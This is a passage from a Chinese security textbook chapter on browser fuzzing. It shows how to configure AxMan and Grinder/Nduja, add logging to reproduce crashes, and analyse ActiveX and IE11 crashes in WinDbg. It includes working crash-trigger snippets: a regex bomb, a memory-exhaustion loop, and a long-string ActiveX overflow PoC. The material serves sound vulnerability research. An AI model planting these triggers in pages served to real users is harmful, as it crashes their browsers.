AxMan Fuzzer进行Fuzz的过程并不是完全静默的，可能会弹出各种报错、ActiveX控件产生的窗口等，因此还是需要一定程度的人工看守的。在ActiveX发生崩溃时，根据系统配置可能会出现崩溃提示，例如Internet Explorer已停止工作。
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图9-4：浏览器崩溃提示



这时，将调试器Attach到发生崩溃的进程上，然后继续运行，关闭错误提示窗口，调试器会捕捉到错误并提示，这时便可以查看错误产生的原因并分析了。

[image: ]
图9-5：WinDbg捕获到崩溃



9.1.3　现场复现

在捕捉到一个错误之后，如何复现也是一个问题。在这里的建议便是记录下崩溃时的CLSID，然后填入CLSID后的文本框中，单击Single，如果再次出现崩溃，我们便可以进一步分析了。

[image: ]
图9-6：填入CLSID



需要注意的是，在产生崩溃时，IE的界面将停止刷新显示的内容，弹出来的错误提示窗口可能会挡住CLSID，即使移开了也看不到下面的内容。这可能会让我们难以进行再次验证。因此，建议在虚拟机中将IE窗口移动至不靠屏幕中心的位置。

或是使用一个简单的方法——制作一个ASP页面（其他可行方式也可，IIS支持ASP，不需要安装额外的环境，较为简单），接收到参数时将参数记录至本地，然后修改Fuzzer的代码，当Fuzz一个新的ActiveX时[image: 可以修改AxMan Fuzzer的updateStatus函数来进行此操作。]

 ，就向ASP页面发起一次请求，这样在崩溃时查看ASP记录下的内容即可知道是谁崩溃了。


[image: ]
图9-7：触发崩溃



在AxMan Fuzzer中复现的崩溃如何才能在单独的网页中触发呢？AxMan Fuzzer只提供了更新浏览器的状态栏的功能，却并未提供任何记录日志的功能。AxMan Fuzzer通过调用将参数传给fuzzer.html来Fuzz各程序，因此让我们手动修改fuzzer.html，为其添加上日志功能。

fuzzer.html中AxManFuzz（）是添加日志的最好地方，它会根据用户选择的需要Fuzz的项目并调用对应的Fuzz函数。将下列代码保存为log.asp，在fuzzer.html调用各Fuzz项目时，可以通过iframe或者XMLHTTP将正在执行的语句传入ASP。这样ASP就会在本地生成一个日志文件，有了它我们在之后提取代码时会非常简单[image: 如果无法写入文件或提示500错误，请查看wwwroot目录是否开放了足够的写入权限。]

 。


<%
Set fso = Server.CreateObject("Scripting.FileSystemObject")
filename = Server.MapPath(".") + "\" + "output.txt"

If Not fso.FileExists(filename) Then
fso.CreateTextfile(filename)
End If

Set txtFile = fso.OpenTextFile(filename, 8, 0)
txtFile.WriteLine(Request.Querystring("log"))
txtFile.Close
%>


fuzzer.js中包含有函数fuzzMethodArgs，这是用来Fuzz所有ActiveX支持的方法用的函数。将所有window.status=XXX；的行替换为调用'log.asp？log='+clsid+'，'+info的内容即可，这一步可以使用编辑工具来批量替换。因为我们的log.asp位于本机，所以我们使用XMLHTTP的同步加载。使用下列函数function record（s）{..}来替换window.status，再次Fuzz的时候，所有Fuzz的内容便会记录到本地。
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图9-8：修改后的代码



以下是record函数的代码：

function record(s)
{
    var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    var url = 'http://127.0.0.1/log.asp?log='+ s; 
    try{
    xmlhttp.open("GET", url, false); 
    xmlhttp.send(null); 
    }catch (e) {};
}


在ActiveX发生崩溃时，网页进程也会随之崩溃，因此不再会向ASP发出任何请求，ASP记录中最后一部分和该插件有关的内容就很有可能是触发代码。以下是记录下的数据的示例，针对ActiveX的崩溃分析我们将在9.3中介绍。
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图9-9：ASP记录下来的内容



这里记录下来的数字只是字符串的长度，如果需要看到字符串的完整内容，需要修改fuzzer.js中该行日志为：record（"obj."+f['Name']+'=\"'+tst+'\"'）；并保存，然后修改record，将长度较长的tst分段发送给ASP。接着再重启IE（防止本地缓存导致IE使用的仍是旧代码）。选中Property Write Strings并进行Single Fuzz。

[image: ]
图9-10：准备进行Single Fuzz



此时因为AxMan Fuzz时使用的是超长字串，保存的日志会进一步增大，笔者在进行上述测试时，仅是Single Fuzz写入Write Strings的数据，就使得Log文件的大小变成了30MB。所以不建议一开始就写入全字符，而应该在最后将问题缩小到一定范围时才去这么做。

等待一段时间直到IE再次提示崩溃，我们就可以拿到完整的崩溃重现步骤了：
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图9-11：ASP记录下的Payload



将这些数据全部复制，粘贴到我们自己的网页中即可重现崩溃流程，在保持崩溃的前提下，删除一些无用代码可以精简最终的PoC。


9.2　DOM Fuzzer的搭建

与ActiveX的Fuzz一样，DOM Fuzzer的目标是DOM的渲染过程，DOM Fuzzer所验证的问题是，在复杂的DOM操作下浏览器是否能正确地渲染网页。W3C规定了3个级别的DOM，常见DOM Fuzzer的攻击重点为DOM Level 2与DOM Level 3的API。

在搜索引擎中查找Fuzzer便可找到许多开源的浏览器Fuzzer程序，例如NodeFuzz、cross_fuzz、Jsfuzzer、nuf-fuzzer等。各种Fuzzer框架的性能各有千秋，许多Fuzzer甚至能在短时间内产生数以千计的崩溃[image: 但是有些崩溃只能称作BUG，并不能被利用，在浏览器上单单引起崩溃（或名“拒绝服务”）是没有意义的。无法利用的问题例如除以零异常、空指针引用等，具体的区分方法之后叙述。]

 。不过Fuzzer的默认示例大多数已在安全研究人员的测试机器上久经测试，能挖掘出漏洞的潜力小之又小。因此如果想要达到良好的Fuzz效果，还是需要基于手工修改测试脚本。


Fuzzer可以分为功能性的Fuzzer与框架性质的Fuzzer。Grinder是一个优良的Fuzzer框架，它提供了完整的Fuzzer监控、崩溃上报归档、远程管理等功能。另一部分则是属于纯功能性质的，它们并没有提供完整的漏洞管理程序，但是却提供了简单的日志功能和强大的黑白盒测试功能（前一节的AxMan Fuzzer也属此类），本文稍后将介绍的Nduja Fuzzer就是此类。

Nduja Fuzzer的作者是Rosario Valotta，作者在网站[image: https://sites.google.com/site/tentacoloviola/fuzzing-with-dom-level-2-and-3。]

 上表明自己通过这个Fuzzer框架，发现了多个IE、Firefox、Chrome的漏洞。但是这个框架默认的Fuzz效果可能已经不明显了，虽然可以产生显著多的崩溃，但是其中几乎没有可利用的。笔者曾经在测试机器上测试，结果表明，使用默认代码运行七天过程中，产生了数万个崩溃，经程序分类筛选后发现没有可以利用的。在修改框架之后即发现了可用漏洞，所以在现有框架上进行修改甚至于手动定义是很有必要的。


下面将基于Nduja Fuzzer的结构，介绍手动修改Fuzzer代码的方式，希望能有助于大家的分析。

9.2.1　搭建运行Grinder的环境

Nduja Fuzzer可以独立运行，但是为了方便漏洞归类，还是推荐安装Grinder。首先，在计算机中安装Ruby 2.0[image: http://www.ruby-lang.org]

 ，请根据计算机的位数下载合适的32/64位Ruby。然后从Grinder的下载地址
 [image: https://github.com/stephenfewer/grinder]

 中下载Grinder。客户端配置方式简要概述如下：



	如果是32位系统，将.\grinder\node\data\x86\grinder_logger.dll复制到c：\windows\system32\下；

	如果是64位系统，将.\grinder\node\data\x86\grinder_logger.dll复制到c：\windows\syswow64\下，并将.\grinder\node\data\x64\grinder_logger.dll复制到c：\windows\system32\下。

	然后创建一个目录用于保存符号文件，如c：\symbols\。

	编辑config.rb文件，config.rb文件中有各项的详细含义，在此，你只需指定浏览器的位置即可。在一切就绪后，将Nduja Fuzzer的主文件nduja.html复制到fuzzer目录下，然后打开cmd，进入Grinder所在目录，然后输入grinder.rb--browser=[浏览器]。例如输入--browser=IE，Grinder即会自动地打开IE进行Fuzz，Fuzz的内容就是Nduja Fuzzer。



由于Grinder支持自动崩溃收集分类，以及浏览器超时自动关闭等功能，因此可以做到无人值守。在有多台机器同时进行Fuzz时，可以将崩溃数据传递给远程的Grinder Server。安装Grinder Server时需要机器上有PHP和MySQL环境。初始化PHP和MySQL，在Github中的文档有一个server目录，将该目录复制到Web服务器上，并访问install.php，Grinder Server会自动配置好。

安装Grinder Server时，填写的“Grinder Key”需要和Grinder Node中的“config.rb”配置的名称一致。安装完成后，直接在浏览器中就可以访问Grinder Server了。

9.2.2　Fuzzer的结构与修改

Nduja Fuzzer的Log比较杂乱，代码也多采用循环加上随机的形式出现。让我们简单梳理一下各函数的作用，Fuzzer的修改并没有任何“章法”可循，各位可自行在觉得需要加入代码的地方进行添加。

Nduja Fuzzer同级目录下的logging.js是Nduja与Grinder产生日志交互的工具。Nduja代码的第一行var logger=new LOGGER（"ndujaL"）；就是生成了这样一个日志对象。当你不希望使用Grinder时，可以删除第一行并使用console.log（）来把输出记录到控制台中。

在原始的Nduja中MYFuzzer（）是Fuzzer的入口，随后调用的MYBuildElementsTree（）函数中会构建元素并给元素添加处理事件。MAXELEM通常设置为5~10即可。在MYBuildElementsTree函数执行结束后，MYBoom函数开始发挥作用。MYBoom中调用的子函数会随机地对页面中的元素进行增删修改等操作，在操作进行的同时，各元素上绑定的事件也会逐个被触发。当页面中元素的层级十分复杂时，就极有可能导致浏览器的崩溃，这也是Fuzzer的着手点。

观察Nduja Fuzzer的最开始处，这部分的全局变量为元素、事件、边界值等，如果没有特殊需求大部分可以不修改，唯独最初的几项还是建议按照实际需求去改动一番。它们分别是：

MAXELEM=10;
MAXPROP=10;
MAXLISTENERS=5;


含义依次是：初始创建的元素个数、元素上绑定的属性个数、元素上绑定的事件个数。如果需要更深入地Fuzz，可以将数字适当加大。要是为了取得更容易分析的代码，可以将数字适当减少。




其他的修改部分建议着眼于MYBoom函数调用的函数，因为默认的示例已经跑了无数次，大部分问题之前都已经有人发现，所以建议在Fuzz之前自行修改一部分代码，如图9-12所示的alterTextRange（），在我们进行Fuzz时大可在其中添加一些针对Range的额外增、删、修改操作等。

[image: ]
图9-12：Nduja的部分代码



9.2.3　现场复现

在产生崩溃之后，我们需要抓取现场进行复现。配合Grinder的日志抓取功能，在崩溃后，崩溃的代码默认会写入Grinder目录下的log目录中，使用可以阅读XML的工具打开这些日志，其中记录下来的Message部分就是代码中logger.log所记录的内容。适当地组合这些内容便可再次触发崩溃。

笔者推荐的做法是在每次Fuzz之前由脚本生成一组随机数字并传给logger，由其记录下来。然后，以这组随机数作为脚本随机执行代码的“种子”以让脚本执行。当崩溃时，取出日志中这组随机数并再次置于Fuzzer中很可能就会复现出崩溃了。

[image: ]
图9-13：Grinder的日志



另外，Grinder自身也提供了重现功能，当崩溃后，可以使用testcase.rb文件来将.log文件转换为html文件并重试，不过Grinder也只是尝试，不一定会必现，所以不要过度寄希望于Grinder的复现功能。Nduja自带的日志输出已经相当多了，但是仍可能有遗漏之处。所以建议在输出log时，一定要给关键路径都做上日志输出。

在Grinder中重现的方法是执行：

.\grinder\node>ruby testcase.rb [--config=c:\path\to\CONFIG.RB] --log=c:\path\to\[CRASH.log] --save=c:\path\to\[OUTPUT.html]



这样，Grinder会尝试从CRASH.log中生成测试用例OUTPUT.html，生成后，尝试在浏览器中再次打开OUTPUT.html，可能就会得到一个会复现的崩溃页面了。
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9.3　崩溃分析

9.3.1　哪些典型崩溃不能称作浏览器漏洞

浏览器不像是HTTP服务器程序或是操作系统，即使网页进程崩溃，也并不会像HTTP服务器崩溃一样引起附带的所有功能几乎全部失效[image: 在多进程浏览器模型中，单个网页进程的崩溃不会影响到所有其他打开的页面。但是如果一个崩溃可以使浏览器永远无法启动或无法正常工作，这一类还是可以归为一类特殊的拒绝服务漏洞的，尤其是在崩溃可以远程触发时。]

 。本书的第1章已经说明了漏洞的三要素，可以参考。本节将叙述一下Fuzz过程中常见，但是严格意义上不能称为漏洞（称为BUG或是缺陷更合适）的内容。



1．部分单纯的空指针


空指针一般是代码中对一个指向零地址（0x00000000~0x0000ffff）的指针进行解析导致的。下面这样的都算是空指针：p=NULL；*p；，空指针一般抛出存取违例（0xc0000005，Access Violation）异常。

不过，这里只是方便大家快速甄别一些崩溃才把空指针归为此类，如果一个可疑的崩溃是由空指针引起的，分析时最好也要关注一下代码的上下文。因为也有空指针掩盖另一个严重问题（例如释放后使用）的可能性存在。


2．栈溢出


崩溃中，栈溢出（0xc00000fd，Stack Overflow）并不是栈缓冲区溢出（0xc0000409，Stack Buffer Overrun）。由于栈的空间是有限的，而函数在调用时会将返回地址、参数、局部变量等内容写入栈空间，一旦函数出现了过多层数的函数调用（一个容易理解且典型的例子便是递归时出现死循环），那么栈空间便会在短时间内耗尽，并抛出0xc00000fd栈溢出错误。

[image: ]
图9-14：栈溢出




3．除以零异常


这是又一种BUG，如字面意思，这个崩溃通常发生在错误的以0为除数时。程序员并不会主动地用0做除数，但是0作为一个惯用值，可能会在不经意间作为除数被带入运算。

例如，下载文件时，如果有如下逻辑——

如果（取得的文件大小为负数），那么令变量：文件大小=0；

然后计算：已下载字节数÷文件大小，获得下载百分比；

假设软件的程序员使用32位长整形long[image: 取值范围-2147483648(-231)～2147483647 (231-1)。2 GB = 2147483648 Bytes。]

 作为文件大小的容器，当文件大小大于2GB时，由于发生整数溢出，long的值可能会变成负数。此时触发第一个逻辑，变量文件大小变为0，再进行下载百分比的除法运算时发生除以零异常（0xc0000094，Integer Divides Zero）。当除以零异常导致浏览器无法启动时（例如上述例子很可能发生在UI层，这会导致整个浏览器无法工作），这可以被归为拒绝服务漏洞；若只是网页进程崩溃，这严格意义上并不称作漏洞，而也应当作一个缺陷处理。



4．内存占用过大


内存泄漏[image: 如果之前没有接触过漏洞分析，你可能需要区分内存泄漏（Memory Leak）和内存信息泄露（Memory Information Leak）的区别。前者是申请了某块内存，在使用完之后没有及时释放，导致多占用内存的问题，后者是内存的信息被非法泄露的问题。前者是不良的编程习惯，属于缺陷；后者属于信息机密性的缺失，属于漏洞。]

 、处理函数时不正确的内存申请、恶意的内存申请都会导致内存占用过大。32位进程可以申请的内存上限约为2GB（如果打开了/3GB开关则是3GB），如果内存申请过多，则程序不免会出现各种表现异常。例如主动退出等情况。这类问题大部分只能称作缺陷（甚至不是问题），而不应当被当作漏洞看待。这里给出一个常见的例子“正则表达式炸弹”：


<script> 
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'.replace(/(([a-zA-Z0-9]+)*)@([A-Za-z0-9]+)/,"a"); 
</script> 

[image: ]
图9-15：正则表达式炸弹



过多的内存占用导致崩溃的原理是：最后一遍时，buf的长度约为2.25×10512
 字节，写入页面的内容按字数计算则是[image: ]
 字，执行完之后现有的大部分浏览器都会因内存耗尽导致崩溃。


<script language="JavaScript"> 
var buf = 'AAAA'; 
for(i=1; i <= 1700 ; ++i){ 
buf+=buf
document.write(buf); 
} 
</script>

[image: ]
图9-16：Firefox内存不足



以上是笔者在Fuzz过程中常见的几种崩溃类型，其他的漏洞类型也依然要遵守漏洞的原则——完整性、可用性、机密性。如果这三个元素中任意一或多种有缺失，那么我们将认为它是一个漏洞。了解这类信息可以在Fuzz时产生的数以万计的崩溃中排除出绝大部分“噪点”，留下有用信息，也将大大减少漏洞补丁实施人员的工作成本。

9.3.2　ActiveX崩溃一例

接下来两节我们将介绍一般性的崩溃分析，这一节将介绍基本操作，希望能够起到一个铺垫作用。下列内容也适用于分析漏洞，后面两章我们会详细介绍漏洞崩溃分析和利用。

我们采用的例子是JDeditCtrl（3DC4198F-C37E-4B88-81F4-B1B0BAAA74F8）插件的一个早期版本（签名时间2013年，版本号1.0.0.2），在AxMan Fuzzer工作时我们发现这个插件产生了一个崩溃。类型是栈溢出（注意不是栈缓冲区溢出），因此理论上来说这只是一个单纯的软件BUG，并不是漏洞。

在崩溃时，日志中记下来的最后一句是PropSet（String）input15=2097152；找到fuzzer.js中记录原句，如图9-17所示。可以知道这句发生时，Fuzzer正试图向插件传入一个约2MB的字符串。

[image: ]
图9-17：fuzzer.js的代码



让我们构造同样的代码，使用IE打开之后，可以看到IE成功地崩溃了。

<object classid="clsid:3DC4198F-C37E-4B88-81F4-B1B0BAAA74F8" id="test" />
<script>
var str = 'A';
for(var i = 0; i < 2200000; ++i)
   str += 'A';

eval("test.input15=str;");
</script>


[image: ]
图9-18：代码复现成功



接下来让我们开始崩溃分析。首先使用调试器挂上崩溃的网页进程，按下g再次触发崩溃并使用k系列语句查看崩溃时函数的调用。可以看到崩溃处为test dword ptr[eax]，eax。由于崩溃类型是Stack Overflow，相当于内存耗尽，所以代码停在任何位置都不稀奇。

0:028> g
(17f8.240c): Stack overflow - code c00000fd (!!! second chance !!!)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for F:\Windows\SysWow64\JDedit\JDedit.dll - 
eax=06012000 ebx=586748f4 ecx=05dd8fcc edx=0ff00026 esi=00432384 edi=0ff00024
eip=5864a5f7 esp=0620b34c ebp=0620b360 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
JDedit!DllInstall+0x64157:
5864a5f7 8500            test    dword ptr [eax],eax  ds:002b:06012000=00000000
0:009> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
0620b360 75943e75 JDedit!DllInstall+0x64157
0620b388 75943cef OLEAUT32!DispCallFunc+0x165
0620b418 585e3aa3 OLEAUT32!CTypeInfo2::Invoke+0x23f
0620b440 662e5916 JDedit+0x13aa3
0620b48c 66290de8 MSHTML!InvokeDispatchWithNoThis+0x52


查看崩溃处周围的代码，如果你之前调试过类似代码，可能一眼就能够看出来这段代码正试图在栈上分配空间，并检查分配的空间是否超出了栈空间的范围。程序栈空间的大小是有限的，一旦某段代码试图在栈上分配过多的内容，栈检查就会失败并抛出一个异常，被调试器捕获后向我们报告的便是Stack Overflow。


5898a5d0 51                push    ecx
5898a5d1 8d4c2404         lea      ecx,[esp+4]
5898a5d5 2bc8                sub      ecx,eax
5898a5d7 1bc0                sbb      eax,eax
5898a5d9 f7d0                not      eax
5898a5db 23c8                and      ecx,eax
5898a5dd 8bc4                mov      eax,esp
5898a5df 2500f0ffff         and      eax,0FFFFF000h
5898a5e4 3bc8                cmp      ecx,eax
5898a5e6 720a                jb       JDedit!DllInstall+0x64152 (5898a5f2)
5898a5e8 8bc1                mov    eax,ecx
5898a5ea 59                  pop      ecx
5898a5eb 94                  xchg     eax,esp
5898a5ec 8b00                mov      eax,dword ptr [eax]
5898a5ee 890424              mov      dword ptr [esp],eax
5898a5f1 c3                  ret
5898a5f2 2d00100000       sub      eax,1000h
5898a5f7 8500                test    dword ptr [eax],eax
5898a5f9 ebe9                jmp    JDedit!DllInstall+0x64144 (5898a5e4)

9.3.3　IE11崩溃一例

本节我们介绍一个IE11崩溃的简单分析，希望可以带领大家了解浏览器崩溃时的分析步骤，起到举一反三的作用。我们使用的代码是：

[image: ]


[image: ]


这是笔者在Fuzz过程中遇到的常见的错误之一，这段代码最终会触发一个空指针解引用，从而产生一个异常。如果仅是从漏洞分析的角度看，这是一个无法利用的崩溃。但是由于这段代码结构简单，含义明确，因此可以作为一个较好的练手代码。此崩溃暂无维修计划，在笔者编写本章时最新版本IE 11.0.9600.17691（更新版本11.0.17[KB3032359]）中依然可以触发。

让我们先阅读代码，在上述代码的07~21行执行结束之后，页面的元素结构如下（不考虑HTML等固定存在的元素）。

[image: ]
图9-19：页面的元素结构



第22行代码执行时，NODE3会包围到NODE2外部，因此NODE3会成为NODE1的子节点，此时触发DOMNodeInserted事件。在触发事件的同时，foo函数将NODE1的子节点清空，此时导致了崩溃。崩溃的梗概如此，让我们看一看具体的代码实现。

使用WinDbg挂上IE的网页进程再运行脚本，可以看到WinDbg提示下列错误。

(18ac.1454): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=040b5848 ecx=040b8bb0 edx=00000000 esi=03eab978 edi=040b5848
eip=6155ebc1 esp=03eab428 ebp=03eab94c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!CDoc::CutCopyMove+0x3fd:
6155ebc1 83ba0801000000  cmp     dword ptr [edx+108h],0 ds:002b:00000108=????????


可以看到在解引用edx+108h处的DWORD的时候，edx为0，导致了空指针解引用发生了崩溃。在IDA中打开mshtml.dll，查看CDoc：：CutCopyMove的函数定义为：__stdcall
 [image: 32位进程中__stdcall参数全部由栈传递。__fastcall的前两个参数使用ecx、edx传递。]

 CDoc：：CutCopyMove（CMarkupPointer*，CMarkupPointer*，CMarkupPointer*，int，ulong），按下Tab键查看伪代码，如果无法查看请先右键单击函数，选择Edit Function并选择合适的Frame pointer delta。


CutCopyMove函数如字面意思，会处理元素的剪切、移动或复制。阅读代码可知前三个MarkupPointer对应的含义分别是开始指针位置、结束指针位置和被操作对象的指针位置。也即将被操作的内容处理到开始~结束中间。在这里按下k查看调用栈，可以看到这里是由surroundContents触发的，因此不难猜测一二两个参数都是指向NODE2，第三个参数指向NODE3。

0:008> k
ChildEBP RetAddr  
0400b954 60a90c27 MSHTML!CDoc::CutCopyMove+0x37a
0400ba18 60a9276b MSHTML!CDomRange::SurroundContentsHelper+0x1d9
0400ba8c 606e77ec MSHTML!CDomRange::surroundContents+0x1ab
0400baa4 609b32ec MSHTML!CJScript9Holder::ConvertFromVar<CDomRange>+0x32
0400bac8 65d0f6ba MSHTML!CFastDOM::CRange::Trampoline_surroundContents+0x3c


为代码下断点，重新打开网页，在运行到CDoc：：CutCopyMove时中断。




0:015> g
Breakpoint 0 hit
eax=00481790 ebx=00000000 ecx=00481790 edx=038541e8 esi=00000000 edi=03855ee0
eip=6155eda5 esp=03ccba60 ebp=03ccbb20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CDoc::CutCopyMove:
6155eda5 8bff            mov     edi,edi


查看esp处内容，esp+4、esp+8两个值是前两个参数，使用ln查看对应的符号名称可以看到这两个参数确实是CMarkupPointer，然后对二者解引用，可以看到二者都指向同一个地址：0x613117a0，这也验证了我们的想法。




0:007> dd esp
             esp      +4        +8        +c
03ccba60  61fe582d 03ccba88 03ccbad0 00000000
             +10      +14       +18      +1c
03ccba70  00000001 00000001 00000001 00000000
0:007> ln poi(poi(esp+4))
(613117a0)   MSHTML!CMarkupPointer::`vftable'   |  (613119a0)   MSHTML!CDoc::`vftable'
Exact matches:
     MSHTML!CMarkupPointer::`vftable' = <no type information>    
0:007> ln poi(poi(esp+8))
(613117a0)   MSHTML!CMarkupPointer::`vftable'   |  (613119a0)   MSHTML!CDoc::`vftable'
Exact matches:
     MSHTML!CMarkupPointer::`vftable' = <no type information>
0:007> dd poi(esp+4)
03ccba88  613117a0
0:007> dd poi(esp+8)
03ccbad0  613117a0


因为发生崩溃的cmp[edx+108h]；一句的“罪魁祸首”是edx==0的情况，因此我们应当查找edx，看看它是什么时候被修改成0的。这个函数分支较多而且对应多种操作，所以动态调试要优于静态阅读代码，动态跟踪可以知道在+0x78时edx被修改为了0。eax是一个Markup，将其+0x58处的内容传给edx时，将edx修改为了0。




0:007> 
eax=038541e8 ebx=00000000 ecx=00481790 edx=038541e8 esi=03ccba88 edi=03855ee0
eip=6155ee1d esp=03ccb538 ebp=03ccba5c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CDoc::CutCopyMove+0x78:
6155ee1d 8b5058          mov     edx,dword ptr [eax+58h] ds:002b:03854240=00000000
0:007> dd eax
038541e8  61348d24
0:007> ln 61348d24
(61348d24)   MSHTML!CMarkup::`vftable'   |  (61348f9c)   MSHTML!CDocument::`vftable'
Exact matches:
     MSHTML!CMarkup::`vftable' = <no type information>



代码分析的技巧之一便是从错误发生点一直向更早的状态倒推，直到找到问题的根源所在。让我们往前阅读，可以得知eax的值是在+0x5e偏移处被esi+24h位置上的值替代的。esi是CMarkupPointer，esi+24处是一个CMarkup。




0:007> 
eax=03ccbad0 ebx=00000000 ecx=00481790 edx=038541e8 esi=03ccba88 edi=03855ee0
eip=6155ee03 esp=03ccb53c ebp=03ccba5c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CDoc::CutCopyMove+0x5e:
6155ee03 8b4624          mov     eax,dword ptr [esi+24h] ds:002b:03ccbaac=e8418503

0:007> dd esi
03ccba88  613117a0
0:007> ln 613117a0
(613117a0)   MSHTML!CMarkupPointer::`vftable'   |  (613119a0)   MSHTML!CDoc::`vftable'
Exact matches:
     MSHTML!CMarkupPointer::`vftable' = <no type information>

0:007> dd 03ccba88+24
03ccbaac  038541e8 
0:007> ln poi( 038541e8 )
(61348d24)   MSHTML!CMarkup::`vftable'   |  (61348f9c)   MSHTML!CDocument::`vftable'
Exact matches:
     MSHTML!CMarkup::`vftable' = <no type information>


让我们再往前一些，看看esi是哪儿传入的。追踪代码，可以看到接近函数的最开头处+0x3e偏移的地方，函数将ebp+8传给了esi。




0:007> 
eax=03ccbad0 ebx=00000000 ecx=00481790 edx=038541e8 esi=00000000 edi=03855ee0
eip=6155ede3 esp=03ccb53c ebp=03ccba5c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CDoc::CutCopyMove+0x3e:
6155ede3 8b7508          mov     esi,dword ptr [ebp+8] ss:002b:03ccba64=88bacc03



这可是能解开“谜底”的重要线索，ebp+8（执行到+0x3e偏移时，ebp+8指向的实际是第一个参数），也就是说，问题出在上一层函数没有仔细检查，直接传了一个有问题的CMarkupPointer（当然这一层也没仔细检查，这才导致了崩溃）。




让我们再着眼于上一层，在MSHTML！CDomRange：：SurroundContentsHelper下断点，让我们看看这个参数是如何来的。在这一层断下之后，我们使用同样的技巧，从call CDoc：：CutCopyMove之前推断，最终可以发现最有疑惑的一个来源是“ebp-98h”这个指针。跟踪到函数最开始处，可以看到有如下代码片段。

0:018> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=03872668 edx=0bcebd00 esi=00000000 edi=03872668
eip=61fe57b5 esp=03c6b7c4 ebp=03c6b870 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
MSHTML!CDomRange::SurroundContentsHelper+0x19:
61fe57b5 e89ba73aff      call    MSHTML!CElement::Doc (6138ff55)

0:008> dd ebp-98h
03c6b7d8  61401cc2 
0:008> ln 61401cc2
(61401ca3)   MSHTML!CDocument::PrivateRelease+0x1b   |  (61401ce2)   MSHTML!CImplPtrAry:: 
DeleteByValue

0:008> p
eax=0028bd98 ebx=00000000 ecx=03872668 edx=0bcebd00 esi=00000000 edi=03872668
eip=61fe57bb esp=03c6b7c0 ebp=03c6b870 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
MSHTML!CDomRange::SurroundContentsHelper+0x1f:
61fe57bb 8d8d68ffffff    lea     ecx,[ebp-98h]

0:008> 
eax=0028bd98 ebx=00000000 ecx=03c6b7d8 edx=0bcebd00 esi=00000000 edi=03872668
eip=61fe57c1 esp=03c6b7c0 ebp=03c6b870 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
MSHTML!CDomRange::SurroundContentsHelper+0x25:
61fe57c1 e8a2e13dff      call    MSHTML!CMarkupPointer::CMarkupPointer (613c3968)

0:008> ln poi(ecx)
(61401ca3)   MSHTML!CDocument::PrivateRelease+0x1b   |  (61401ce2)   
MSHTML!CImplPtrAry::DeleteByValue

0:008> p
eax=03c6b7d8 ebx=00000000 ecx=00000000 edx=03c6b7d8 esi=00000000 edi=03872668
eip=61fe57c6 esp=03c6b7c8 ebp=03c6b870 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
MSHTML!CDomRange::SurroundContentsHelper+0x2a:
61fe57c6 53              push    ebx

0:008> ln poi(ebp-98)
(613117a0)   MSHTML!CMarkupPointer::`vftable'   |  (613119a0)   MSHTML!CDoc::`vftable'
Exact matches:
    MSHTML!CMarkupPointer::`vftable' = <no type information>



阅读代码可知，ebp-98h存储的是一个已经释放的元素的Pointer，但是代码未经校验就把这个地址传给了CMarkupPointer的构造函数，而且由此生成了一个指向空元素的CMarkupPointer*。这个CMarkupPointer在传递给CDoc：：CutCopyMove的时候，CDoc：：CutCopyMove的代码默认CMarkupPointer不可能指向空，所以未经校验直接就引用了这个指向空元素的CMarkupPointer，发生空指针解引用，导致程序崩溃。




以上便是这个崩溃发生的原因。总结起来，究其问题根源，需要从发生问题的语句向前推进，并找到最初有潜在问题的一句，代码逻辑的梳理是一个困难而且耗时的工程，需要有足够的耐心去整理代码。如果遇到一些复杂的难以处理的崩溃，这时，在草稿上画出页面的结构，在脑海中模拟执行JS，可能会更容易地帮助我们理解代码出错时的状态。


	
在多进程浏览器模型中，单个网页进程的崩溃不会影响到所有其他打开的页面。但是如果一个崩溃可以使浏览器永远无法启动或无法正常工作，这一类还是可以归为一类特殊的拒绝服务漏洞的，尤其是在崩溃可以远程触发时。返回




	
取值范围-2147483648(-231)～2147483647 (231-1)。2 GB = 2147483648 Bytes。返回




	
如果之前没有接触过漏洞分析，你可能需要区分内存泄漏（Memory Leak）和内存信息泄露（Memory Information Leak）的区别。前者是申请了某块内存，在使用完之后没有及时释放，导致多占用内存的问题，后者是内存的信息被非法泄露的问题。前者是不良的编程习惯，属于缺陷；后者属于信息机密性的缺失，属于漏洞。返回




	
32位进程中__stdcall参数全部由栈传递。__fastcall的前两个参数使用ecx、edx传递。返回







9.4　本章小结

在本章中，我们介绍了ActiveX Fuzzer的原理，以及一款优秀的ActiveX Fuzzer——AxMan Fuzzer的配置和使用方法，我们在浏览器中使用AxMan Fuzzer找到一款软件的崩溃之后，通过修改AxMan Fuzzer自带的文件来让Fuzzer记录下崩溃的信息，通过崩溃信息，我们复现了该崩溃。

我们也介绍了DOM Fuzzer的相关内容。我们使用Grinder框架配合上Nduja Fuzzer对浏览器进行Fuzz，并在浏览器发生崩溃之后，使用Grinder自带的Testcase Reproduce功能进行崩溃复现。

